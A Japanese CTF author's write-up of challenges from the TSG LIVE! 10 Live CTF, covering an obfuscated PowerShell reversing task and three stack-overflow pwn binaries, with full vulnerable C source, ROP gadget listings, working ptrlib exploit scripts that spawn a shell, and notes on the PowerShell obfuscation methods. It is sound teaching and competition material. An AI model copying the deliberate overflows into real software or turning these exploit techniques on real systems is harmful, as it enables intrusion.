はじめに
5月13日の五月祭のTSG LIVE! 10の一企画としてLive CTFの作問と実況を行いました。実況の方は配信システムの方でいろいろ問題が発生して、あたふたしていましたが、PwnとRevの作問に関しては良質な問題を提供できたのではないかと考えています。
RevのWriteup
string_related
難読化されたpowershellのソースコードを解析する問題です。コードの機能としては非常にシンプルで、FLAGの文字列を入力し、あっていたらcorrect!
と、間違っていたらwrong...
と返されるプログラムです。
whitespaceが大量に使われていたり、文字列を読みにくくされていたりしますが、if else
文を使っている部分が一箇所だけ見つかります。この比較の条件分の$j
が入力した文字列に対応しているので、$k
がおそらくFLAGに対応しているだろうと予測して、$k
をWrite-Output
するとFLAGを得ることができます。
150点問題に相応しい難易度だったのではないでしょうか。
string_related
;iF ($j -cEq $k){&("{11}{3}{5}{8}{7}{0}{2}{4}{9}{10}{1}{6}" -f "`-","u","`o","R","U","`i","T","E","T","T","`P","`w") $s} ElSe{&("{3}{5}{0}{10}{8}{4}{7}{6}{11}{9}{2}{1}" -f "`i","t","U","`W","`-","R","U","`o","E","p","t","t") $l}
PwnのWriteup
agent
agent.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
struct Profile
{
char name[0x10];
char words[0x100];
long age;
char job[0x10];
};
void readline_n(char* buf, int n)
{
char tmp[1];
for(int i=0; i<n; i++)
{
read(STDIN_FILENO, tmp, 1);
if (tmp[0] == '\n')
{
break;
}
buf[i] = tmp[0];
}
return;
}
void win()
{
system("/bin/sh");
return;
}
int main()
{
struct Profile* p;
setvbuf(stdout, (char*) NULL, _IONBF, 0);
p = alloca(sizeof(struct Profile));
printf("Enter your profile\n");
printf("Your Name > ");
readline_n(p->name, sizeof(p->name));
printf("Your Words > ");
readline_n(p->words, sizeof(p->words));
printf("Your Age > ");
scanf("%ld", &p->age);
printf("Desired Job > ");
readline_n(p->job, sizeof(p->job));
printf("\n---------------Profile---------------\n");
printf("Name: \t\t%s\nWords: \t\t%s\nAge: \t\t%ld\nDesired Job: \t%s\n", p->name, p->words, p->age, p->job);
printf("-------------------------------------\n\n");
char check[4];
int num, i=0;
printf("Anything to fix?\n");
do {
printf("1. Name\n2. Words\n3. Age\n4. Desired Job\n> ");
scanf("%d", &num);
switch(num)
{
case 1:
printf("Name > ");
readline_n(p->name, sizeof(p->name));
i++;
break;
case 2:
printf("Words > ");
readline_n(p->words, sizeof(p->words));
i++;
break;
case 3:
printf("Age > ");
scanf("%ld", &p->age);
i++;
break;
case 4:
printf("Desired Job > ");
readline_n(p->job, sizeof(p->words));
i++;
break;
default:
puts("Please specify 1, 2, 3 or 4");
puts("Bye");
exit(0);
}
if (i == 1)
{
printf("Done fixing?\n");
readline_n(check, sizeof(check));
if (strncmp(check, "YES", 3) == 0)
{
break;
}
}
} while (i < 2);
printf("Sent the profile.\n Good luck!\n");
return 0;
}
Profileという構造体がalloca()
によってstackの上に取られています。入力に使われるreadline_n()
はnull終端されず、改行を読み込むと改行自身を書き込まずに読み込みを終了します。
脆弱性のある箇所は、まず、バッファー領域が初期化されていないのでtext領域やlibcのアドレスなどがそのまま残っており、アドレスリークが可能です。また、jobメンバーへ16byteまるまる書き込みができるので、Profile構造体の直後にあるtext領域のアドレスもリークできます。
switch文のcase 4:
にてreadline_n(p->job, sizeof(p->words));
というコードが存在し、0x10
バイトのサイズのjobメンバーにwordsメンバーのサイズ分、つまり0x100
バイトの書き込みができるというBOFが存在します。
No canaryなので、そのままBOFでreturn addressを書き換えることができます。system関数内のmovaps命令で落ちないように、win関数のアドレスのendbr64; push rbp
の処理を飛ばしたwin()+5のアドレスをreturn addressに書き込めば終了です。
agent.py
from ptrlib import *
elf = ELF("../dist/agent")
libc = ELF('../dist/libc-2.31.so')
#io = Socket("localhost", 30005)
io = Process("../dist/agent")
io.sendlineafter("Name > ", "N"*0xf)
io.sendlineafter("Words > ", "W"*0xff)
io.sendlineafter("Age > ", "256")
io.sendlineafter("Job > ", "J" * (0x10 - 3) + "END")\
# leak text addr
io.recvuntil("END")
text_addr = io.recvline()
text_addr = u64(text_addr)
elf.base = text_addr - 0x12c9
payload = b"A" * 0x40
# align stack
payload += p64(elf.symbol('win') + 5)
io.sendlineafter("> ", '4')
io.sendlineafter("> ", payload)
io.interactive()
renewal
renewal.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
char tmp[1];
int j;
#define readline_n(buf, n) \
{ \
for(j=0; j<n; j++) \
{ \
read(STDIN_FILENO, tmp, 1); \
if (tmp[0] == '\n') \
{ \
break; \
} \
buf[j] = tmp[0]; \
} \
} \
struct Profile
{
char name[0x10];
char words[0x100];
long age;
char job[0x10];
};
void win()
{
system("/bin/sh");
return;
}
int main()
{
struct Profile* p;
setvbuf(stdout, (char*) NULL, _IONBF, 0);
p = alloca(sizeof(struct Profile));
memset(p, 0, sizeof(struct Profile));
printf("Enter your profile\n");
printf("Your Name > ");
readline_n(p->name, sizeof(p->name));
printf("Your Words > ");
readline_n(p->words, sizeof(p->words));
printf("Your Age > ");
scanf("%ld", &p->age);
printf("Desired Job > ");
readline_n(p->job, sizeof(p->job));
printf("\n---------------Profile---------------\n");
printf("Name: \t\t%s\nWords: \t\t%s\nAge: \t\t%ld\nDesired Job: \t%s\n", p->name, p->words, p->age, p->job);
printf("-------------------------------------\n\n");
char check[4];
int num, i=0;
printf("Anything to fix?\n");
do {
printf("1. Name\n2. Words\n3. Age\n4. Desired Job\n> ");
scanf("%d", &num);
switch(num)
{
case 1:
printf("Name > ");
readline_n(p->name, sizeof(p->name));
i++;
break;
case 2:
printf("Words > ");
readline_n(p->words, sizeof(p->words));
i++;
break;
case 3:
printf("Age > ");
scanf("%ld", &p->age);
i++;
break;
case 4:
printf("Desired Job > ");
readline_n(p->job, sizeof(p->words));
i++;
break;
default:
puts("Please specify 1, 2, 3 or 4");
puts("Bye");
exit(0);
}
if (i == 1)
{
printf("Done fixing?\n");
readline_n(check, sizeof(check));
if (strncmp(check, "YES", 3) == 0)
{
break;
}
}
} while (i < 2);
printf("Sent the profile.\n Good luck!\n");
return 0;
}
diff agent.c renewal.c -U 0
@@ -5,0 +6,16 @@
+char tmp[1];
+int j;
+
+#define readline_n(buf, n) \
+{ \
+ for(j=0; j<n; j++) \
+ { \
+ read(STDIN_FILENO, tmp, 1); \
+ if (tmp[0] == '\n') \
+ { \
+ break; \
+ } \
+ buf[j] = tmp[0]; \
+ } \
+} \
+
@@ -14,15 +29,0 @@
-void readline_n(char* buf, int n)
-{
- char tmp[1];
- for(int i=0; i<n; i++)
- {
- read(STDIN_FILENO, tmp, 1);
- if (tmp[0] == '\n')
- {
- break;
- }
- buf[i] = tmp[0];
- }
- return;
-}
-
@@ -40,0 +42 @@
+ memset(p, 0, sizeof(struct Profile));
readline_n()
が関数からマクロに変わりましたが、動作に違いはほとんどありません。memsetによって構造体のために取られたstack領域は0埋めされていますが、jobの領域0x10バイトにまるまる書き込みができるので、依然text領域のアドレスリークが可能です。stack canaryがオンになっているので、前問のagentとは違い単純なBOFではリターンアドレスを書き換えることができません。
ここで、注目するべきはProfile構造体のポインタであるpがスタック上のProfile用の領域よりアドレスの大きい方、つまり、BOFで書き換えられる領域に存在することです。また、numやiといったローカル変数も書き換えられることに注目してください。
readline_n()
はnull終端でないので、pのアドレスの下1byteを書き換えることで、1/16の確率で自分の望むアドレスへとpのポインタをずらすことができます。具体的にはjobメンバーのバッファーの先頭アドレスをreturn addressに重ねることができます。
例えば上のスクリーンショットでは、return addressの格納されているstack上のアドレスは0x7ffcbf3ae858
であり、jobメンバーのバッファーの先頭アドレスは0x7ffcbf3ae818
です。つまり、pのアドレスを+0x40
することができれば、jobに書き込んだ際にreturn addressの格納されている領域に書き込むことができるようになるということです。
今回はpのアドレスの下1byteを0x40で書き換えれば、jobの先頭とreturn addressが綺麗に重なりました。実際のexploitは例えば0x40で毎回書き換えるようにして、pのアドレスの下1byteが00
になるまで接続し直す、という方法を取ります。stackのアドレスの下4bitは0で変わらないので、上4bitで0を引く確率、つまり1/16でこのexploitは成功します。
1/16を当てた後はjobにleakしたアドレスから逆算したwinのアドレスを書き込むだけです。ローカル変数iがi >= 1
にならないとループを終了できないので、BOFで書き換える際には気をつけてください。また、iに負の数を入れれば、他数回numで指定したメンバーに書き込みができるということにここで気づけるはずです。
return addressを書き換えたら、mainの処理を終了してreturnすれば、win関数が実行されます。
renewal.py
from ptrlib import *
elf = ELF("../dist/renewal")
libc = ELF('../dist/libc-2.31.so')
while(1):
try:
io = Process("../dist/renewal")
#io = Socket("localhost", 30017)
#input()
io.sendlineafter("Name > ", "N")
io.sendlineafter("Words > ", "W")
io.sendlineafter("Age > ", "256")
io.sendlineafter("Job > ", "J" * (0x10 - 3) + "END")
io.recvuntil("END")
text_addr = io.recvline()
text_addr = u64(text_addr)
elf.base = text_addr - 0x12b9
io.sendlineafter("> ", "4")
# 1/16
one_byte = 0x40
payload = b"C" * 0x18
payload += p32(0x4)
payload += p32(0xffffffff)
payload += p8(one_byte)
io.sendlineafter("> ", payload)
win_addr = elf.symbol('win')
io.sendlineafter("> ", "4")
io.sendlineafter("> ", p64(win_addr + 5))
io.sendlineafter("?\n", "YES")
io.sendlineafter("!\n", "ls")
io.sendlineafter("flag", "cat flag", timeout=0.1)
break
except TimeoutError as e:
print(e)
io.interactive()
true_version
true_version.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
char tmp[1];
int j;
#define readline_n(buf, n) \
{ \
for(j=0; j<n; j++) \
{ \
read(STDIN_FILENO, tmp, 1); \
if (tmp[0] == '\n') \
{ \
break; \
} \
buf[j] = tmp[0]; \
} \
} \
struct Profile
{
char name[0x10];
char words[0x100];
long age;
char job[0x10];
};
void win()
{
system("/bin/sh");
return;
}
int main()
{
struct Profile* p;
setvbuf(stdout, (char*) NULL, _IONBF, 0);
p = alloca(sizeof(struct Profile));
memset(p, 0, sizeof(struct Profile));
printf("Enter your profile\n");
printf("Your Name > ");
readline_n(p->name, sizeof(p->name));
printf("Your Words > ");
readline_n(p->words, sizeof(p->words));
printf("Your Age > ");
scanf("%ld", &p->age);
printf("Desired Job > ");
readline_n(p->job, sizeof(p->job) - 1);
printf("\n---------------Profile---------------\n");
printf("Name: \t\t%s\nWords: \t\t%s\nAge: \t\t%ld\nDesired Job: \t%s\n", p->name, p->words, p->age, p->job);
printf("-------------------------------------\n\n");
char check[4];
int num, i=0;
printf("Anything to fix?\n");
do {
printf("1. Name\n2. Words\n3. Age\n4. Desired Job\n> ");
scanf("%d", &num);
switch(num)
{
case 1:
printf("Name > ");
readline_n(p->name, sizeof(p->name));
i++;
break;
case 2:
printf("Words > ");
readline_n(p->words, sizeof(p->words));
i++;
break;
case 3:
printf("Age > ");
scanf("%ld", &p->age);
i++;
break;
case 4:
printf("Desired Job > ");
readline_n(p->job, sizeof(p->words));
i++;
break;
default:
puts("Please specify 1, 2, 3 or 4");
puts("Bye");
exit(0);
}
if (i == 1)
{
printf("Done fixing?\n");
readline_n(check, sizeof(check));
if (strncmp(check, "YES", 3) == 0)
{
break;
}
}
} while (i < 2);
printf("Sent the profile.\n Good luck!\n");
return 0;
}
diff renewal.c true_version.c -U 0
@@ -53 +53 @@
- readline_n(p->job, sizeof(p->job));
+ readline_n(p->job, sizeof(p->job) - 1);
renewalと違って、jobに0xfバイトしか書き込めなくなってしまったので、アドレスリークができません。しかし、相変わらずBOFが存在し、pのアドレスの下1byteを書き換えてProfile構造体の領域をずらして色々書き換えることはできそうです。書き込み回数はiを適宜負の数に書き換えたりすることで、何回でも書き換えることができます。
アドレスリークは厳しそうなので、stackのreturn addressから下、つまりreturn addressの存在するstackのアドレスよりもアドレスが大きい領域に存在する、アドレスの下1byteを適宜書き換えていって、ROPのpayloadを組むことが目標になります。
今回上のスクリーンショットを確認すると、return addressの格納されたstackのアドレスは0x7ffe8d173758
です。ここに格納されているlibcのアドレスの下1byteを書き換えていい感じのガジェットに飛ばすことを考えます。さらに1/16の確率を許容するならば(全体では1/256)、libcのアドレスの下2byteを書き換えて飛んでいけるガジェットから良さそうなものを探しても良いです。
rp++ -f ./libc-2.31.so -r 4 | grep 0x000240
...
0x0002408a: mov rax, qword [rsp+0x08] ; lea rdi, qword [0x00000000001B3E68] ; mov rsi, qword [rax] ; xor eax, eax ; call qword [rdx+0x000001D0] ; (1 found)
0x0002407c: mov rax, qword [rsp+0x18] ; call rax ; (1 found)
0x0002400b: mov rdx, qword [rax] ; call rbx ; (1 found)
...
0x2407c
にある、mov rax, qword [rsp+0x18] ; call rax ;
が良さそうなガジェットになります。というのも、mainからreturnして仮にこのガジェットを踏んだ際、その瞬間のrsp = 0x7ffe8d173760
であり、0x7ffe8d173760 + 0x18 = 0x7ffe8d173778
にはtext領域のアドレスが入っているからです。このアドレスはmainのシンボルのアドレスで、下1byteを0x69
に書き換えるだけで、winのシンボルのアドレスへと変えることができます。
0x7c
に書き換えて、mov rax, qword [rsp+0x18] ; call rax ;
のアドレスへと変更し、return address+0x20のtext領域のアドレスの下1byteを0x69
に書き換えて、winのアドレスを作った上で、main関数からreturnすれば、win関数が実行されてshellを起動できます。
各手順の遷移を詳しく追っていきましょう。
まず、BOFを使ってpのアドレスを書き換えて、jobの先頭とreturn addressの格納されたstackのアドレスを一致させます。確率は1/16です。ローカル変数i
は0xffffffff
にします。
0x7c
に変更します。
i
が再び0xffffffff
になるように気をつけます。
0x69
に変更します。
最後にmain関数の残りを実行してreturnするとlibcのガジェットに飛びます。
call rax
の前にはちゃんとraxに0x560cfbcd8269
というwinのアドレスが入っています。
agent -> renewal -> true_versionと徐々に攻撃の制約が厳しくなるという構成でしたが、かなりいい問題に仕上がったと考えています。特に、最後のtrue_versionはcanaryを間にして、wordsとjobを交互に書き換えてROPまたはCOPのpayloadを作っていくところがとても面白いと思っています。めちゃくちゃ頑張ればwin関数なしでもsystem("/bin/sh")
を起動できるかもしれません(ほんまか)。試していませんが。
true_version.py
from ptrlib import *
elf = ELF("../dist/true_version")
libc = ELF('../dist/libc-2.31.so')
while(1):
try:
io = Process("../dist/true_version")
#io = Socket("localhost", 30022)
#input()
io.sendlineafter("Name > ", "N")
io.sendlineafter("Words > ", "W")
io.sendlineafter("Age > ", "256")
io.sendlineafter("Job > ", "J")
io.sendlineafter("> ", "4")
# 1/16
one_byte = 0x40
io.sendlineafter("> ", b"C" * 0x18 + p32(0x4) + p32(0xffffffff)+ p8(one_byte))
one_byte_for_mov_rax_qword_rsp_18_call_rax = 0x7c
io.sendlineafter("> ", "4")
io.sendlineafter("> ", p8(one_byte_for_mov_rax_qword_rsp_18_call_rax))
io.sendlineafter("?\n", "NO")
io.sendlineafter("> ", "2")
io.sendlineafter("> ", b"B" * 0xe0 + p32(0x2) + p32(0xffffffff)+ p8(one_byte+0x20))
win_byte = 0x69
io.sendlineafter("> ", "4", timeout=0.1)
io.sendlineafter("> ", p8(win_byte))
io.sendlineafter("?\n", "YES")
break
except TimeoutError as e:
print(e)
io.interactive()
作問のログ
今回の作問は、moraさんに色々レビューしてもらってとても充実した楽しい体験でした。こんな感じでTSGでは作問やってますよ〜というのを公開したいと思います。
Rev
本番2日前に作り始めた問題です。これまで、Live CTFではx86_64のELFのRevばかり出してきましたが、今回TSG側でRevやPwn担当が少なかったので、powershellのコードの方が誰でもチャレンジできそうで良さそうということで、難読化したps1ファイルを出しました。TSG-Red, TSG-Blueともに解いてくれたようでよかったです。
Google scholarで難読化の方法として紹介されていたstringに関係のあるものを全て盛り込んだものになります。
https://arxiv.org/pdf/1904.10270.pdf
大元のps1ファイルは以下のような簡単なプログラムです。
original.ps1
$input = Read-Host "FLAG"
$flag = "TSGLIVE{FAKEFLAG}"
if ($input -ceq $flag)
{
Write-Output "correct!"
}
else
{
Write-Output "wrong..."
}
全ての変更を逐次詳細に書きはしませんが(というのも細かな修正がいくつかあったので)、大まかな変更だけ書いていきます。
まず、存在する文字列を全て文字の足し算にします。
string concatenation
- $f = "TSGLIVE{FAKEFLAG}"
+ $f = "T"+"S"+"G"+"L"+"I"+"V"+"E"+"{"+"m"+"u"+"l"+"t"+"1"+"p"+"l"+"3"+"_"+"l"+"a"+"y"+"3"+"r"+"5"+"_"+"0"+"f"+"_"+"5"+"l"+"1"+"g"+"h"+"t"+"_"+"0"+"b"+"f"+"u"+"5"+"c"+"a"+"t"+"1"+"0"+"n"+"_"+"t"+"3"+"c"+"h"+"n"+"1"+"q"+"u"+"3"+"5"+"_"+"h"+"1"+"n"+"d"+"3"+"r"+"_"+"a"+"n"+"a"+"l"+"y"+"5"+"1"+"5"+"}"
次に、それぞれの文字列を必ず並べ替えます。
string reordering
- $f = "T"+"S"+"G"+"L"+"I"+"V"+"E"+"{"+"m"+"u"+"l"+"t"+"1"+"p"+"l"+"3"+"_"+"l"+"a"+"y"+"3"+"r"+"5"+"_"+"0"+"f"+"_"+"5"+"l"+"1"+"g"+"h"+"t"+"_"+"0"+"b"+"f"+"u"+"5"+"c"+"a"+"t"+"1"+"0"+"n"+"_"+"t"+"3"+"c"+"h"+"n"+"1"+"q"+"u"+"3"+"5"+"_"+"h"+"1"+"n"+"d"+"3"+"r"+"_"+"a"+"n"+"a"+"l"+"y"+"5"+"1"+"5"+"}"
+ $a = "T"+"S"+"G"+"L"+"I"+"V"+"E"
+ $b = "{"+"m"+"u"+"l"+"t"+"1"+"p"+"l"+"3"
+ $c = "_"+"l"+"a"+"y"+"3"+"r"+"5"
+ $d = "_"+"0"+"f"
+ $e = "_"+"5"+"l"+"1"+"g"+"h"+"t"
+ $f = "_"+"0"+"b"+"f"+"u"+"5"+"c"+"a"+"t"+"1"+"0"+"n"
+ $g = "_"+"t"+"3"+"c"+"h"+"n"+"1"+"q"+"u"+"3"+"5"
+ $h = "_"+"h"+"1"+"n"+"d"+"3"+"r"
+ $i = "_"+"a"+"n"+"a"+"l"+"y"+"5"+"1"+"5"+"}"
+ $k = "{3}{4}{6}{0}{8}{7}{5}{2}{1}" -f $d, $i, $h, $a, $b, $g, $c, $f, $e
次にTickをそれぞれの文字に追加します。Tickはエスケープシークエンスに使われる`
を用いた難読化です。
上のサイトにあるような認識されるエスケープシークエンス、以外の文字の前に`
を置いても何も起きないので、自由に付加することができます
Tick
- $b = "_"+"5"+"l"+"1"+"g"+"h"+"t"
+ $b = "`_"+"`5"+"`l"+"`1"+"`g"+"`h"+"t"
evalは&()
の()
内の文字列をコマンドとして扱えるというものです。evalを使うことで、コマンドを文字列として難読化できるようになり、前述や後述する文字列周りの難読化を適用できるようになります。
Eval
+ `Wr`ite-`Out`put "`wr`on`g`.`.`."
- &(`Wr`ite-`Out`put) "`w"+"r"+"`o"+"n"+"`g"+"`."+"`."+"`."
Up-Low CaseはCTFにおいてpowershellのコードを読んだことのある人は大抵目にするものですが、コマンドなどの文字列を小文字大文字ごちゃ混ぜにして読みにくくするというものです。
Up-Low Case
+ if ($j -ceq $k)
- iF ($j -cEq $k)
最後のwhitespaceはpowershellにおいて一部を除いて空白文字をいくら挿入してもコードの実行には関係がない、というのを利用してコードの可読性を下げる方法です。今回はif elseなどのコードの動作の本質部分をwhitespaceで右側へ押し流して、スクロールしなければ読めないようにしました。neovimなどでファイルを開いた場合は通用しないものではあります。
また、ChatGPTに投げるだけでは解けないように、大量の変数への代入を重複してコードの前半に持ってくることで、コードの本質部分が読み込まれにくくしました。最初の方の適当な変数を取ってきてprintしたものをつなぎ合わせてFLAGを復元できないよう、_0ur
という短い文字列を格納した変数を一つだけコードの後ろの方で作ることで、$k
のprintをしない限りは解けないようにしました。
if elseを増やせばもっと難しくなるのではという話は出していましたが、結果的にはこれ以上面倒にしなくて正解だったと思います。
Pwn
今回の最初の構想はCanaryが存在してもstack based BOFでreturn addressを書き換えられる問題を作ろうというものでした。そこで、stack上に構造体を取ってその構造体の中でのBOFで構造体自身のポインタを書き換えて、canaryを書き換えることなくreturn addressを書き換えるという問題設定を考えました。しかし、gccのデフォルトの-fstack-protector-strongでは、char型のバッファやstack上に取ったstructの領域よりもアドレスの大きい方にポインターが存在することがないようにコンパイルされてしまうので困っていました。
readline_n()
はマクロにはしていませんでした。また、num
を1回しか指定できません。
first renewal
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
struct Profile
{
char name[0x10];
char words[0x100];
long age;
char job[0x10];
};
void readline_n(char* buf, int n)
{
char tmp[1];
for(int i=0; i<n; i++)
{
read(STDIN_FILENO, tmp, 1);
if (tmp[0] == '\n')
{
break;
}
buf[i] = tmp[0];
}
return;
}
int main()
{
unsigned int n;
struct Profile* p;
setvbuf(stdout, (char*) NULL, _IONBF, 0);
printf("How many people? > ");
scanf("%u", &n);
if (n > 5)
{
printf("Max 5 people for registration.\n");
exit(0);
}
p = alloca(sizeof(struct Profile) * n);
printf("Enter your profile\n");
printf("Your Name > ");
readline_n(p->name, sizeof(p->name));
printf("Your Words > ");
readline_n(p->words, sizeof(p->words));
printf("Your Age > ");
scanf("%ld", &p->age);
printf("Desired Job > ");
readline_n(p->job, sizeof(p->job));
printf("\n---------------Profile---------------\n");
printf("Name: \t\t%s\nWords: \t\t%s\nAge: \t\t%ld\nDesired Job: \t%s\n", p->name, p->words, p->age, p->job);
printf("-------------------------------------\n\n");
char check[4];
int num, i=0;
printf("Anything to fix?\n");
printf("1. Name\n2. Words\n3. Age\n4. Desired Job\n> ");
scanf("%d", &num);
do {
switch(num)
{
case 1:
printf("Name > ");
readline_n(p->name, sizeof(p->name));
i++;
break;
case 2:
printf("Words > ");
readline_n(p->words, sizeof(p->words));
i++;
break;
case 3:
printf("Age > ");
scanf("%ld", &p->age);
i++;
break;
case 4:
printf("Desired Job > ");
readline_n(p->job, sizeof(p->words));
i++;
break;
default:
puts("Please specify 1, 2, 3 or 4");
puts("Bye");
exit(0);
}
if (i == 1)
{
printf("Done fixing?\n");
readline_n(check, sizeof(check));
if (strncmp(check, "YES", 3) == 0)
{
break;
}
}
} while (i < 2);
printf("Sent the profile.\n Good luck!\n");
return 0;
}
いくつかツッコミポイントがあって、まず、moraさんからもらったコードをそのまま何も考えずに貼り付けた結果、一つしか使わないのに、Profile構造体を5つもstack上に取っている部分です。これは、勝手に複数個ないとコンパイラがポインタより上のstack領域にバッファを取ってしまって問題が解けなくなると勝手に思い込んでいたからですが、普通に1個で大丈夫というか、そもそもsizeof()
の結果のサイズ分を取っているだけなので、Profileが幾つだとか全く関係なかったです。こういう無意味な勘違いをやめたい。
第二に実はi
をいじれば複数回書き換えられるということに、ここで気づきました。
mov rax, qword [rsp+0x18] ; call rax ;
といった具合にです。
ですから、実質問題を自分で解きながら作ったという感じです。ここで、確率を下げるのとexploitableにするためにwin関数の追加を決定します。
first true_version
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
struct Profile
{
char name[0x10];
char words[0x100];
long age;
char job[0x10];
};
void readline_n(char* buf, int n);
void win()
{
system("/bin/sh");
return;
}
int main()
{
unsigned int n;
struct Profile* p;
setvbuf(stdout, (char*) NULL, _IONBF, 0);
printf("How many people? > ");
scanf("%u", &n);
if (n > 5)
{
printf("Max 5 people for registration.\n");
exit(0);
}
p = alloca(sizeof(struct Profile) * n);
memset(p, 0, sizeof(struct Profile) * n);
printf("Enter your profile\n");
printf("Your Name > ");
readline_n(p->name, sizeof(p->name));
printf("Your Words > ");
readline_n(p->words, sizeof(p->words));
printf("Your Age > ");
scanf("%ld", &p->age);
printf("Desired Job > ");
readline_n(p->job, sizeof(p->job));
printf("\n---------------Profile---------------\n");
printf("Name: \t\t%s\nWords: \t\t%s\nAge: \t\t%ld\nDesired Job: \t%s\n", p->name, p->words, p->age, p->job);
printf("-------------------------------------\n\n");
char check[4];
int num, i=0;
printf("Anything to fix?\n");
do {
printf("1. Name\n2. Words\n3. Age\n4. Desired Job\n> ");
scanf("%d", &num);
switch(num)
{
case 1:
printf("Name > ");
readline_n(p->name, sizeof(p->name));
i++;
break;
case 2:
printf("Words > ");
readline_n(p->words, sizeof(p->words));
i++;
break;
case 3:
printf("Age > ");
scanf("%ld", &p->age);
i++;
break;
case 4:
printf("Desired Job > ");
readline_n(p->job, sizeof(p->words));
i++;
break;
default:
puts("Please specify 1, 2, 3 or 4");
puts("Bye");
exit(0);
}
if (i == 1)
{
printf("Done fixing?\n");
readline_n(check, sizeof(check));
if (strncmp(check, "YES", 3) == 0)
{
break;
}
}
} while (i < 2);
printf("Sent the profile.\n Good luck!\n");
return 0;
}
void readline_n(char* buf, int n)
{
char tmp[1];
for(int i=0; i<n; i++)
{
read(STDIN_FILENO, tmp, 1);
if (tmp[0] == '\n')
{
break;
}
buf[i] = tmp[0];
}
return;
}
当日の朝にmoraさんにレビューしてもらいました。 見つかった問題点はいくつかあって、Profile構造体の個数に0を指定するとクラッシュするというのと、そもそもProfile構造体が複数必要ないということ(前述した点です)。 また、初期化していないメモリ領域に過去のstack canaryの残骸が残っていて、普通にstack canaryをリークしてBOFでリターンアドレスまで書き換えられてしまう、ということです。これは、true_versionと同じようにProfileの領域はmemsetで0埋めしてしまうことにしました。jobの末尾からtext領域のアドレスがリークできることを使えば、ret2pltでlibcのアドレスを読み出してからのret2libcで解けます。
もっとも、true_versionでwinを使うので、renewalやagentでも一貫性のためにwinを追加して、簡単にしました。
また、true_versionのレビューにて非想定解が見つかりました。
readline_n()
はマクロに変更しました。一方で、agentの方はマクロにすると単純なBOFではreadline_n()
の参照するポインタが書き換わってしまうことで、pのアドレスを適切に書き換えない限りexploitできず、それでは実質renewalと同じになってしまうということで、関数のままにしました。agentでは関数だったreadline_n()
がrenewalやtrue_versionではマクロだったのは、以上のような経緯によるものでした。
以下、マクロを書いたことが無さすぎて、危うくmain関数を壊すところだった話。
また、readline_n()
のループカウンタはbss領域を使うことにしました、何も考えずにstackのままにしていたら、解く人全員を発狂させてしまうところでした。
こうして当日の朝6:00にtrue_versionが出来上がったという感じです。
終わりに
CTF楽しすぎと話題に。作問も、問題を解くのも、今後も一層力を入れてやっていきたいです。
実際のところtrue_versionは2回の書き換えでshellが取れたみたいです。
次回はLive CTF 11かTSG CTFでお会いしましょう~